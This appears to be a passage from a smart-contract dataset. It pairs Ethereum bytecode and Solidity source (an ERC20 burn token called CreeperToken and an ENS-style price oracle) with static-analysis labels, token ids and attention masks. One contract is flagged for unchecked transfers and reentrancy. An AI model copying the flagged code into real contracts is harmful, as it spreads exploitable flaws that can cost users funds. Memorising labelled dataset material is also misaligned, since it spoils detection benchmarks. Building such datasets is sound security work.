90bd146101135780631865c57d1461011d575b600080fd5b6100f761025b565b604080516001600160a01b039092168252519081900360200190f35b61011b61026a565b005b610125610495565b60408051918252519081900360200190f35b61013f6104a5565b604080516001600160a01b03958616815293909416602084015282840191909152606082015290519081900360800190f35b610125610687565b6100f7610790565b61011b61079f565b6100f7610866565b610125610875565b6101cf600480360360608110156101af57600080fd5b506001600160a01b0381358116916020810135909116906040013561095c565b604080519115158252519081900360200190f35b6101eb6109b8565b6040805160ff9092168252519081900360200190f35b61011b600480360360c081101561021757600080fd5b506001600160a01b038135811691602081013582169160408201359160608101358216916080820135169060a001356109c8565b6100f7610a8a565b610125610a99565b6003546001600160a01b031681565b600354600160a01b900460ff166001146102cb576040805162461bcd60e51b815260206004820152601f60248201527f574153414249204f46464552203a2054414b45205354415445204552524f5200604482015290519081900360640190fd5b6001546001600160a01b03163314156103155760405162461bcd60e51b81526004018080602001828103825260238152602001806112a76023913960400191505060405180910390fd5b6003805460ff60a01b1916600160a11b17905560008054604080516313aedd4b60e31b815290516001600160a01b0390921691639d76ea5891600480820192602092909190829003018186803b15801561036e57600080fd5b505afa158015610382573d6000803e3d6000fd5b505050506040513d602081101561039857600080fd5b5051604080516335313c2160e11b815230600482015290519192506000916001600160a01b03841691636a62784291602480830192602092919082900301818787803b1580156103e757600080fd5b505af11580156103fb573d6000803e3d6000fd5b505050506040513d602081101561041157600080fd5b50516000805460408051630a43004160e31b81523360048201526024810185905290519394506001600160a01b039091169263521802089260448084019391929182900301818387803b15801561046757600080fd5b505af115801561047b573d6000803e3d6000fd5b5050600280546001600160a01b0319163317905550505050565b600354600160a01b900460ff1690565b600080600080600360149054906101000a900460ff1660ff1660051415610513576040805162461bcd60e51b815260206004820152601f60248201527f574153414249204f46464552203a2054414b45205354415445204552524f5200604482015290519081900360640190fd5b60008060008060009054906101000a90046001600160a01b03166001600160a01b031663a087097e6040518163ffffffff1660e01b815260040160606040518083038186803b15801561056557600080fd5b505afa158015610579573d6000803e3d6000fd5b505050506040513d606081101561058f57600080fd5b5080516020820151604090920151909450909250905080156105b6576105b6828285610cff565b6003805460ff60a01b198116600560a01b17918290556000805460408051630f2312ad60e21b8152336004820152600160a01b90940460ff16602485018190526001600160a01b0395861660448601529051909490911692633c8c4ab49260648083019360809390929083900390910190829087803b15801561063857600080fd5b505af115801561064c573d6000803e3d6000fd5b505050506040513d608081101561066257600080fd5b50805160208201516040830151606090930151919b909a509198509650945050505050565b60008060008060009054906101000a90046001600160a01b03166001600160a01b031663a087097e6040518163ffffffff1660e01b815260040160606040518083038186803b1580156106d957600080fd5b505afa1580156106ed573d6000803e3d6000fd5b505050506040513d606081101561070357600080fd5b50602080820151604092830151835163065509bb60e21b815260048101829052306024820152935191955093506001600160a01b0385169263195426ec926044808301939192829003018186803b15801561075d57600080fd5b505afa158015610771573d6000803e3d6000fd5b505050506040513d602081101561078757600080fd5b50519392505050565b6002546001600160a01b031681565b600354600160a01b900460ff166002146107f2576040805162461bcd60e51b815260206004820152600f60248201526e5741534142493a207061796261636b60881b604482015290519081900360640190fd5b6003805460ff60a01b1916600360a01b17905560008054604080516334044ea960e01b815233600482015290516001600160a01b03909216926334044ea99260248084019382900301818387803b15801561084c57600080fd5b505af1158015610860573d6000803e3d6000fd5b50505050565b6001546001600160a01b031681565b60008054604080516313aedd4b60e31b8152905183926001600160a01b031691639d76ea58916004808301926020929190829003018186803b1580156108ba57600080fd5b505afa1580156108ce573d6000803e3d6000fd5b505050506040513d60208110156108e457600080fd5b50516040805163159090bd60e01b815290519192506001600160a01b0383169163159090bd91600480820192602092909190829003018186803b15801561092a57600080fd5b505afa15801561093e573d6000803e3d6000fd5b505050506040513d602081101561095457600080fd5b505192915050565b600080546001600160a01b031633146109a65760405162461bcd60e51b81526004018080602001828103825260278152602001806112806027913960400191505060405180910390fd5b6109b1848484610e4b565b9392505050565b600354600160a01b900460ff1681565b6000546001600160a01b03163314610a115760405162461bcd60e51b81526004018080602001828103825260298152602001806112576029913960400191505060405180910390fd5b600354600160a01b900460ff1615610a2857600080fd5b600180546001600160a01b038089166001600160a01b0319928316179092556003805460ff60a01b1993891692169190911791909116600160a01b1790558315610a8257610a77838383610fae565b610a82828583611111565b505050505050565b6000546001600160a01b031681565b6001546000906001600160a01b03163314610ae55760405162461bcd60e51b81526004018080602001828103825260258152602001806112ca6025913960400191505060405180910390fd5b60008060008060009054906101000a90046001600160a01b03166001600160a01b031663a087097e6040518163ffffffff1660e01b815260040160606040518083038186803b158015610b3757600080fd5b505afa158015610b4b573d6000803e3d6000fd5b505050506040513d6060811015610b6157600080fd5b50805160208201516040909201516003805460ff60a01b1916600560a01b17905590945090925090508015610b9b57610b9b828285610cff565b6000809054906101000a90046001600160a01b03166001600160a01b0316639d76ea586040518163ffffffff1660e01b815260040160206040518083038186803b158015610be857600080fd5b505afa158015610bfc573d6000803e3d6000fd5b505050506040513d6020811015610c1257600080fd5b5051604080516335313c2160e11b815233600482015290516001600160a01b0390921691636a627842916024808201926020929091908290030181600087803b158015610c5e57600080fd5b505af1158015610c72573d6000803e3d6000fd5b505050506040513d6020811015610c8857600080fd5b5051600080546003546040805163824c1db560e01b81523360048201526001600160a01b039283166024820152905194985091169263824c1db59260448084019391929182900301818387803b158015610ce157600080fd5b505af1158015610cf5573d6000803e3d6000fd5b5050505050505090565b6040805160248101849052604480820184905282518083039091018152606490910182526020810180516001600160e01b0316630441a3e760e41b178152915181516000936060936001600160a01b038916939092909182918083835b60208310610d7b5780518252601f199092019160209182019101610d5c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610ddd576040519150601f19603f3d011682016040523d82523d6000602084013e610de2565b606091505b5091509150818015610df357508051155b610e44576040805162461bcd60e51b815260206004820152601c60248201527f537573686948656c7065723a205749544844524157204641494c454400000000604482015290519081900360640190fd5b5050505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b178152925182516000946060949389169392918291908083835b60208310610ec85780518252601f199092019160209182019101610ea9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610f2a576040519150601f19603f3d011682016040523d82523d6000602084013e610f2f565b606091505b5091509150818015610f5d575080511580610f5d5750808060200190516020811015610f5a57600080fd5b50515b610e44576040805162461bcd60e51b815260206004820152601f60248201527f5472616e7366657248656c7065723a205452414e534645525f4641494c454400604482015290519081900360640190fd5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663095ea7b360e01b178152925182516000946060949389169392918291908083835b6020831061102b5780518252601f19909201916020918201910161100c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461108d576040519150601f19603f3d011682016040523d82523d6000602084013e611092565b606091505b50915091508180156110c05750805115806110c057508080602001905160208110156110bd57600080fd5b50515b610e44576040805162461bcd60e51b815260206004820152601e60248201527f5472616e7366657248656c7065723a20415050524f56455f4641494c45440000604482015290519081900360640190fd5b6040805160248101849052604480820184905282518083039091018152606490910182526020810180516001600160e01b0316631c57762b60e31b178152915181516000936060936001600160a01b038916939092909182918083835b6020831061118d5780518252601f19909201916020918201910161116e565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146111ef576040519150601f19603f3d011682016040523d82523d6000602084013e6111f4565b606091505b509150915081801561120557508051155b610e44576040805162461bcd60e51b815260206004820152601b60248201527f537573686948656c7065723a204445504f534954204641494c45440000000000604482015290519081900360640190fdfe574153414249204f46464552203a20494e495449414c495a45205045524d495353494f4e2044454e59574153414249204f46464552203a205452414e53464552205045524d495353494f4e2044454e59574153414249204f46464552203a2054414b452053454e444552204953204f574e4552574153414249204f46464552203a2043414e43454c2053454e444552204953204f574e4552a264697066735822122044602bf713b8e45598d9d4de5d8b9eb27faaf6dd7d15ee907dfa60dd67611c1164736f6c63430006080033536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f774bdb733153bc1af7e1a8c327d8533eec421d7b400b9f781d97cc5500d8ad8f045472616e7366657248656c7065723a205452414e534645525f46524f4d5f4641494c4544a26469706673582212203329c40b63c07f603327766ef6a33454d03d66e41be4759949cc263a9cb7c7d764736f6c63430006080033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2575, 2094, 2487, 2094, 2692, 2575, 2487, 2546, 22407, 2475, 2050, 2575, 2581, 22907, 2620, 2475, 3401, 2683, 17134, 2692, 21926, 2063, 22907, 2581, 2050, 20842, 25746, 2575, 2581, 2549, 1013, 1013, 24394, 5371, 1024, 8311, 1013, 8278, 1013, 29464, 11890, 11387, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1019, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 2724, 6226, 1006, 4769, 25331, 3954, 1010, 4769, 25331, 5247, 2121, 1010, 21318, 3372, 3643, 1007, 1025, 2724, 4651, 1006, 4769, 25331, 2013, 1010, 4769, 25331, 2000, 1010, 21318, 3372, 3643, 1007, 1025, 3853, 2171, 1006, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,820
0x976da7cc882d2b65dec2b3c2ad5abd8d70e65b56
// SPDX-License-Identifier: MIT //t.me/creeperfinance pragma solidity 0.7.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function ceil(uint256 a, uint256 m) internal pure returns (uint256) { uint256 c = add(a,m); uint256 d = sub(c,1); return mul(div(d,m),m); } } abstract contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract CreeperToken is ERC20Detailed { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; mapping (address => bool) private _whitelist; address private constant _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private _owner; string constant tokenName = "creeper.finance"; string constant tokenSymbol = "$CREEPER"; uint8 constant tokenDecimals = 18; uint256 public burnPct = 3; uint256 private _totalSupply = 7_000_000_000_000_000_000_000; uint256 private _txCap = 100_000_000_000_000_000_000; constructor() ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) { _owner = msg.sender; _balances[_owner] = _totalSupply; _modifyWhitelist(_owner, true); _modifyWhitelist(_router, true); } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view override returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowed[owner][spender]; } function findBurnAmount(uint256 rate, uint256 value) public pure returns (uint256) { return value.ceil(100).mul(rate).div(100); } function _modifyWhitelist(address adr, bool state) internal { _whitelist[adr] = state; } function _checkWhitelist(address adr) internal view returns (bool) { return _whitelist[adr]; } function transfer(address to, uint256 value) external override returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); if (_checkWhitelist(msg.sender)) { _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } else { require (value <= _txCap || _checkWhitelist(to), "amount exceeds tx cap"); uint256 tokensToBurn = findBurnAmount(burnPct, value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); emit Transfer(msg.sender, to, tokensToTransfer); emit Transfer(msg.sender, address(0), tokensToBurn); return true; } } function approve(address spender, uint256 value) external override returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) external override returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); if (_checkWhitelist(from)) { _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); return true; } else { require (value <= _txCap || _checkWhitelist(to), "amount exceeds tx cap"); _balances[from] = _balances[from].sub(value); uint256 tokensToBurn = findBurnAmount(burnPct, value); uint256 tokensToTransfer = value.sub(tokensToBurn); _balances[to] = _balances[to].add(tokensToTransfer); _totalSupply = _totalSupply.sub(tokensToBurn); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, tokensToTransfer); emit Transfer(from, address(0), tokensToBurn); return true; } } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806353f9963f1161008c5780639618b31c116100665780639618b31c1461027c578063a457c2d714610284578063a9059cbb146102b0578063dd62ed3e146102dc576100cf565b806353f9963f1461022b57806370a082311461024e57806395d89b4114610274576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61030a565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103a0565b604080519115158252519081900360200190f35b61019961041d565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b03813581169160208101359091169060400135610423565b6101e96106f9565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610702565b6101996004803603604081101561024157600080fd5b50803590602001356107aa565b6101996004803603602081101561026457600080fd5b50356001600160a01b03166107cb565b6100dc6107e6565b610199610846565b61017d6004803603604081101561029a57600080fd5b506001600160a01b03813516906020013561084c565b61017d600480360360408110156102c657600080fd5b506001600160a01b03813516906020013561088f565b610199600480360360408110156102f257600080fd5b506001600160a01b0381358116916020013516610aa8565b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b60006001600160a01b0383166103b557600080fd5b3360008181526004602090815260408083206001600160a01b03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60085490565b6001600160a01b03831660009081526003602052604081205482111561044857600080fd5b6001600160a01b038416600090815260046020908152604080832033845290915290205482111561047857600080fd5b6001600160a01b03831661048b57600080fd5b61049484610ad3565b15610538576001600160a01b0384166000908152600360205260409020546104bc9083610af1565b6001600160a01b0380861660009081526003602052604080822093909355908516815220546104eb9083610b06565b6001600160a01b038085166000818152600360209081526040918290209490945580518681529051919392881692600080516020610b9c83398151915292918290030190a35060016106f2565b6009548211158061054d575061054d83610ad3565b610596576040805162461bcd60e51b81526020600482015260156024820152740616d6f756e7420657863656564732074782063617605c1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600360205260409020546105b99083610af1565b6001600160a01b0385166000908152600360205260408120919091556007546105e290846107aa565b905060006105f08483610af1565b6001600160a01b0386166000908152600360205260409020549091506106169082610b06565b6001600160a01b03861660009081526003602052604090205560085461063c9083610af1565b6008556001600160a01b038616600090815260046020908152604080832033845290915290205461066d9085610af1565b6001600160a01b0380881660008181526004602090815260408083203384528252918290209490945580518581529051928916939192600080516020610b9c833981519152929181900390910190a36040805183815290516000916001600160a01b03891691600080516020610b9c8339815191529181900360200190a36001925050505b9392505050565b60025460ff1690565b60006001600160a01b03831661071757600080fd5b3360009081526004602090815260408083206001600160a01b03871684529091529020546107459083610b06565b3360008181526004602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60006106f260646107c5856107bf8684610b18565b90610b52565b90610b79565b6001600160a01b031660009081526003602052604090205490565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156103965780601f1061036b57610100808354040283529160200191610396565b60075481565b60006001600160a01b03831661086157600080fd5b3360009081526004602090815260408083206001600160a01b03871684529091529020546107459083610af1565b336000908152600360205260408120548211156108ab57600080fd5b6001600160a01b0383166108be57600080fd5b6108c733610ad3565b1561095d57336000908152600360205260409020546108e69083610af1565b33600090815260036020526040808220929092556001600160a01b038516815220546109129083610b06565b6001600160a01b038416600081815260036020908152604091829020939093558051858152905191923392600080516020610b9c8339815191529281900390910190a3506001610417565b60095482111580610972575061097283610ad3565b6109bb576040805162461bcd60e51b81526020600482015260156024820152740616d6f756e7420657863656564732074782063617605c1b604482015290519081900360640190fd5b60006109c9600754846107aa565b905060006109d78483610af1565b336000908152600360205260409020549091506109f49085610af1565b33600090815260036020526040808220929092556001600160a01b03871681522054610a209082610b06565b6001600160a01b038616600090815260036020526040902055600854610a469083610af1565b6008556040805182815290516001600160a01b038716913391600080516020610b9c8339815191529181900360200190a36040805183815290516000913391600080516020610b9c8339815191529181900360200190a3600192505050610417565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6001600160a01b031660009081526005602052604090205460ff1690565b600082821115610b0057600080fd5b50900390565b6000828201838110156106f257600080fd5b600080610b258484610b06565b90506000610b34826001610af1565b9050610b49610b438286610b79565b85610b52565b95945050505050565b600082610b6157506000610417565b82820282848281610b6e57fe5b04146106f257600080fd5b6000808211610b8757600080fd5b6000828481610b9257fe5b0494935050505056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207302826389c6464d51745008b5f07fed32b8a1ab157dbb731a61d1b852b5e0b864736f6c63430007000033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2575, 2850, 2581, 9468, 2620, 2620, 2475, 2094, 2475, 2497, 26187, 3207, 2278, 2475, 2497, 2509, 2278, 2475, 4215, 2629, 7875, 2094, 2620, 2094, 19841, 2063, 26187, 2497, 26976, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 1056, 1012, 2033, 1013, 19815, 2121, 16294, 6651, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1021, 1012, 1014, 1025, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 5703, 11253, 1006, 4769, 2040, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 21447, 1006, 4769, 3954, 1010, 4769, 5247, 2121, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 4651, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,821
0x976e50a38d7f15FfB9DB95ff0562b87436bc764e
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } pragma solidity >=0.8.4; interface PriceOracle { /** * @dev Returns the price to register a name. * @param name The name being registered. * @return The price of this registration, in wei. */ function price(string calldata name) external view returns(uint); } pragma solidity >=0.8.4; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } pragma solidity >=0.8.4; import "./PriceOracle.sol"; import "./SafeMath.sol"; import "./StringUtils.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface AggregatorInterface { function latestAnswer() external view returns (int256); } // StablePriceOracle sets a price in USD, based on an oracle. contract StablePriceOracle is Ownable, PriceOracle { using SafeMath for *; using StringUtils for *; // Price by length. Element 0 is for 1-length names, and so on. uint[] public prices; // Oracle address AggregatorInterface public usdOracle; event OracleChanged(address oracle); event PriceChanged(uint[] prices); bytes4 constant private INTERFACE_META_ID = bytes4(keccak256("supportsInterface(bytes4)")); bytes4 constant private ORACLE_ID = bytes4(keccak256("price(string)") ^ keccak256("premium(string)")); constructor(AggregatorInterface _usdOracle, uint[] memory _prices) public { usdOracle = _usdOracle; setPrices(_prices); } function price(string calldata name) external view override returns(uint) { uint len = name.strlen(); if(len > prices.length) { len = prices.length; } require(len > 0); uint basePrice = prices[len - 1]; basePrice = basePrice.add(_premium(name)); return attoUSDToWei(basePrice); } /** * @dev Sets prices. * @param _prices The price array. Each element corresponds to a specific * name length; names longer than the length of the array * default to the price of the last element. Values are * in base price units, equal to one attodollar (1e-18 * dollar) each. */ function setPrices(uint[] memory _prices) public onlyOwner { prices = _prices; emit PriceChanged(_prices); } /** * @dev Sets the price oracle address * @param _usdOracle The address of the price oracle to use. */ function setOracle(AggregatorInterface _usdOracle) public onlyOwner { usdOracle = _usdOracle; emit OracleChanged(address(_usdOracle)); } /** * @dev Returns the pricing premium in wei. */ function premium(string calldata name) external view returns(uint) { return attoUSDToWei(_premium(name)); } /** * @dev Returns the pricing premium in internal base units. */ function _premium(string memory name) virtual internal view returns(uint) { return 0; } function attoUSDToWei(uint amount) internal view returns(uint) { uint ethPrice = uint(usdOracle.latestAnswer()); return amount.mul(1e8).div(ethPrice); } function weiToAttoUSD(uint amount) internal view returns(uint) { uint ethPrice = uint(usdOracle.latestAnswer()); return amount.mul(ethPrice).div(1e8); } function supportsInterface(bytes4 interfaceID) public view virtual returns (bool) { return interfaceID == INTERFACE_META_ID || interfaceID == ORACLE_ID; } } pragma solidity >=0.8.4; library StringUtils { /** * @dev Returns the length of a given string * * @param s The string to measure the length of * @return The length of the input string */ function strlen(string memory s) internal pure returns (uint) { uint len; uint i = 0; uint bytelength = bytes(s).length; for(len = 0; i < bytelength; len++) { bytes1 b = bytes(s)[i]; if(b < 0x80) { i += 1; } else if (b < 0xE0) { i += 2; } else if (b < 0xF0) { i += 3; } else if (b < 0xF8) { i += 4; } else if (b < 0xFC) { i += 5; } else { i += 6; } } return len; } }
0x608060405234801561001057600080fd5b506004361061009e5760003560e01c80638fb00688116100665780638fb0068814610133578063bc31c1c114610163578063c8a4271f14610193578063f2fde38b146101b1578063fe2c6198146101cd5761009e565b806301ffc9a7146100a3578063715018a6146100d357806379cf92d3146100dd5780637adbf973146100f95780638da5cb5b14610115575b600080fd5b6100bd60048036038101906100b89190610e7a565b6101fd565b6040516100ca91906110a7565b60405180910390f35b6100db6102f1565b005b6100f760048036038101906100f29190610e39565b610379565b005b610113600480360381019061010e9190610ea3565b610446565b005b61011d61053d565b60405161012a919061106a565b60405180910390f35b61014d60048036038101906101489190610ef5565b610566565b60405161015a919061111d565b60405180910390f35b61017d60048036038101906101789190610f3a565b6105c5565b60405161018a919061111d565b60405180910390f35b61019b6105e9565b6040516101a891906110c2565b60405180910390f35b6101cb60048036038101906101c69190610e10565b61060f565b005b6101e760048036038101906101e29190610ef5565b610707565b6040516101f4919061111d565b60405180910390f35b60007f01ffc9a7a5cef8baa21ed3c5c0d7e23accb804b619e9333b597f47a0d84076e27bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806102ea57507f8fb006889887fe22b99b1137685f6e3f300e6d1742d1a83bca46b580a98925387ffe2c619874d0eefe2754e000f94bf8e8d25af34324c98305907f8d29c90ee618187bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b9050919050565b6102f9610844565b73ffffffffffffffffffffffffffffffffffffffff1661031761053d565b73ffffffffffffffffffffffffffffffffffffffff161461036d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610364906110fd565b60405180910390fd5b610377600061084c565b565b610381610844565b73ffffffffffffffffffffffffffffffffffffffff1661039f61053d565b73ffffffffffffffffffffffffffffffffffffffff16146103f5576040517f08c379a00000000000000000